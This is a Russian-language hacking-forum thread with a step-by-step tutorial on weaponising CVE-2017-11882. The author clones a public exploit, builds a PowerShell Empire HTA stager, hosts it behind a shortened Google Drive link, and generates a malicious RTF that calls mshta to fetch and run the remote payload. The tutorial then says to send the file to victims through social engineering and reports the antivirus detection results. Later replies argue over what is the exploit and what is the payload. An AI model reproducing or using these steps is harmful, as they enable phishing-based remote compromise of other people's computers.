CVE-2017-11882 или Взлом с помощью безобидного документа

OneDollar сказал(а):

Всем привет. Сегодня хочу показать Вам новый эксплоит, с помощью которого мы получим доступ к целевой машине. Коротко и по делу:
Коротко по делу. Создаем файл в формате RTF с вызовом функции командной строки mshta , которая позволит вызвать powershell с помощью HTA файла, расположенного на удаленном сервере.
Поехали!
Источник : https://github.com/Ridter/CVE-2017-11882
Установка :
1. git clone https://github.com/Ridter/CVE-2017-11882
2. cd CVE-2017-11882
3. chmod +x Command109b_CVE-2017-11882.py
4. chmod +x Command43b_CVE-2017-11882.py
На этом все. Теперь создадим HTA файл с помощью [Empire] Post-Exploitation Framework
Источник : https://github.com/EmpireProject/Empire
Гайд по использованию Empire от DarkNode: https://codeby.net/threads/znakomstvo-s-powershell-empire-framework.58469/
Гайд по HTA что такое и с чем едят : https://codeby.net/threads/malvar-na-html-ili-hta-dlja-xakera.61136/

Собственно говоря, поехали :
Listeners у меня уже есть, что бы их создать, проделаем :
listeners
uselistener http
Далее заполняем нужные поля с помощью set
Пример : set Name http - задать имя листенера http
set Host ip - пишем айпишник куда стучаться вистиму
set Port номер порта - пишем на какой порт стукать
execute - выполнить, создать

Далее у вас появится листенер. Можно вернутся в главное меню с помощью : main
Посмотреть вложение 13156

Создание HTA
Посмотреть вложение 13145

usestager windows/hta - использовать модуль
info - посмотреть инфу и обычно заполнить Listener
set Listener http (у меня так называется листенер "http")
set OutFile /tmp/hack1.hta - путь к сохранению файла и название
execute - генерим и получаем на выходе
Посмотреть вложение 13146


Далее идем в папочку /tmp берем этот файлик и заливаем на любой файлообменник. К примеру Google Drive.
Посмотреть вложение 13147

Далее включаем доступ на скачивание всем у кого есть ссылка. Копируем ссылку и переходим по ней :
Посмотреть вложение 13148


Посмотреть вложение 13150


Здесь копируем ссылку на скачивание файла и идем к любому сервису по сокращению ссылок. Я предпочел гугловский:
Посмотреть вложение 13151


Копируем это батву, идем в каталог где мы установили софт. У меня это :
cd CVE-2017-11882
Здесь исполняем следующее :
python Command109b_CVE-2017-11882.py -c "mshta сюда вставить сокращенную ссылку" -o codeby.rtf

Посмотреть вложение 13152


Файл создан в формате rft. Почему так, объясню в конце статьи. Далее отправляем потенциальному клиенту.. ) Уж тут кто что придумает, в помощь СИ) И после запуска файла видим следующую картину )

Посмотреть вложение 13155

YEAAH! PROF1t! Теперь на машине, которая запустила файл в процессах появится наш родимый и неповторимый PowerShell, а значит Мы в системе, тому свидетельствуем подключение агента в империи ) Далее делаем чего душе угодно. В Империи куча фичей прикольных, в том числе и трольских)

Дополнительная информация : Почему RTF? Почему не DOC? Дело в том, что я часа 2 убил на то, что бы тестировать файлы док. Тестируемая машина вин 10 с 16тым офисом, запускал и ничего не происходило. Долго не мог понять что такое, да и забил. Создал в ртф и просто супер. Никаких проблем. Запускается файл, далее вылазит обычное окошко " разрешить редактирование файла " это никакое не предупреждение безопасности как в макросах, это банальщина и ничего в себе таинственного она не несет. После разрешения редактирования мигает окошко ПоверШелл и все, система завоевана.

Как обстоят дела с обнаружением ? Тут дело такое, первый раз когда создал, видел только Касперыч. Буквально через несколько часов еще парочка. И того 3, из них самый распространенный Касперский.

Результат на nodistribute:
https://nodistribute.com/result/v83GMHkypUKnEjCXRmf

По мне так очень даже хорошие показатели. Способ довольно простой, не требует особых хацких навыков. Статью пишу первый раз, не судите строго =) Всем профит!

Нажмите, чтобы раскрыть...

tumm сказал(а):

Причем тут хта,палится сам код эксплойта

Нажмите, чтобы раскрыть...

SooLFaa сказал(а):

Причем тут код эксплоита палится нагрузка а не эксплоит. Сам по себе эксплоит это херня.

Нажмите, чтобы раскрыть...

tumm сказал(а):

Во первых-АВ проверка выдает палево на сигнатуру именно эксплойта,это можно увидеть на результате АВ проверки
Exploit.CVE-2017-11882.Gen

В вторых пайлоад стандартный калькулятор у винды =)

P.S. Подтирать мессаги несерьезно )

Нажмите, чтобы раскрыть...

ghostphisher сказал(а):

Темы такого рода всегда зачет. Преподнес шикарно - картинки, текст, ссылки. Ставлю мне нравится с пожеланиями потому что:
- упустил момент проверить на разных системах и выяснить где палится где не палится.Я вообще за то, если ТС увзял такую тему ( подобную ) стоит заморочить полной проверкой не одной своей стационарке, а как минимум поднять пару виртуалок с разными версиями ОС и АВ. Все мы понимаем - у компаний АВ производящих есть свои каналы "новостей" и такие темы не открывают им с эффектом ВАУ глаза, а для сохранения личного времени читателя вполне пойдет. ТС - продолжай

Нажмите, чтобы раскрыть...

tumm сказал(а):

Во первых-АВ проверка выдает палево на сигнатуру именно эксплойта,это можно увидеть на результате АВ проверки
Exploit.CVE-2017-11882.Gen

В вторых пайлоад стандартный калькулятор у винды =)

P.S. Подтирать мессаги несерьезно )

Нажмите, чтобы раскрыть...

SooLFaa сказал(а):

Во - первых я не подтирал ни одного поста и посты не удаляются а скрываются из под юзеров(по крайней мере удалять перманенто модеры не могут). А во - вторых резберись наконец в терминологии, что есть эксплоит, а что есть пэйлоад.
В данном случае вся цвешка выступает как НАГРУЗКА. Эксплоит - это код, который эксплуатирует утечку в памяти если это бинарщина, если под веб свою специфику (типа крутилки скули) и так далее. Он не является вредоносной программой, доставка ворда и сигнатуры ворда это уже НАГРУЗКА т.е. payload. Сам эксплоит не может быть нагрузкой.

Нажмите, чтобы раскрыть...

tumm сказал(а):

Подтирала администрация

Нажмите, чтобы раскрыть...

WebWare Team сказал(а):

Была удалена лексика, недопустимая на codeby. Как в Вашем случае ...

Нажмите, чтобы раскрыть...

tumm сказал(а):

Подтирала администрация.Сам головой подумай и разберись что такое пэйлоад а что эксп)Ппц тру хакиры с кодебу немогут отличить пэйлоад от экспа.

Нажмите, чтобы раскрыть...